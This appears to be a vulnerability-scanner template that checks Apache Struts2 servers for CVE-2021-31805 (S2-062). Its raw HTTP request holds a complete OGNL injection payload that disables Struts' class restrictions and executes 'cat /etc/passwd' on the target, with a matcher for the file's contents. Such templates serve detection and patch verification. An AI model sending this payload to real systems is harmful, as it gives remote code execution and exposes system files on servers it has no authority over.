52 lines
2.5 KiB
YAML
52 lines
2.5 KiB
YAML
id: CVE-2021-31805
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info:
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name: Apache Struts2 S2-062 - Remote Code Execution
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author: taielab
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severity: critical
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description: Apache Struts2 S2-062 is vulnerable to remote code execution. The fix issued for CVE-2020-17530 (S2-061) was incomplete, meaning some of the tag's attributes could still perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax.
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reference:
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- https://cwiki.apache.org/confluence/display/WW/S2-062
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- https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31805
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remediation: Avoid using forced OGNL evaluation on untrusted user input, and/or upgrade to Struts 2.5.30 or greater which checks if expression evaluation won't lead to the double evaluation.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-31805
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cwe-id: CWE-917
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tags: cve,cve2021,apache,rce,struts,struts2
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requests:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
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Content-Length: 1095
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF
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Content-Disposition: form-data; name="id"
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%{
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(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
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(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
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(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
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(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
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(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
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(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
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(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
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(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
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(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
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}
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------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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# Enhanced by mp on 2022/04/21
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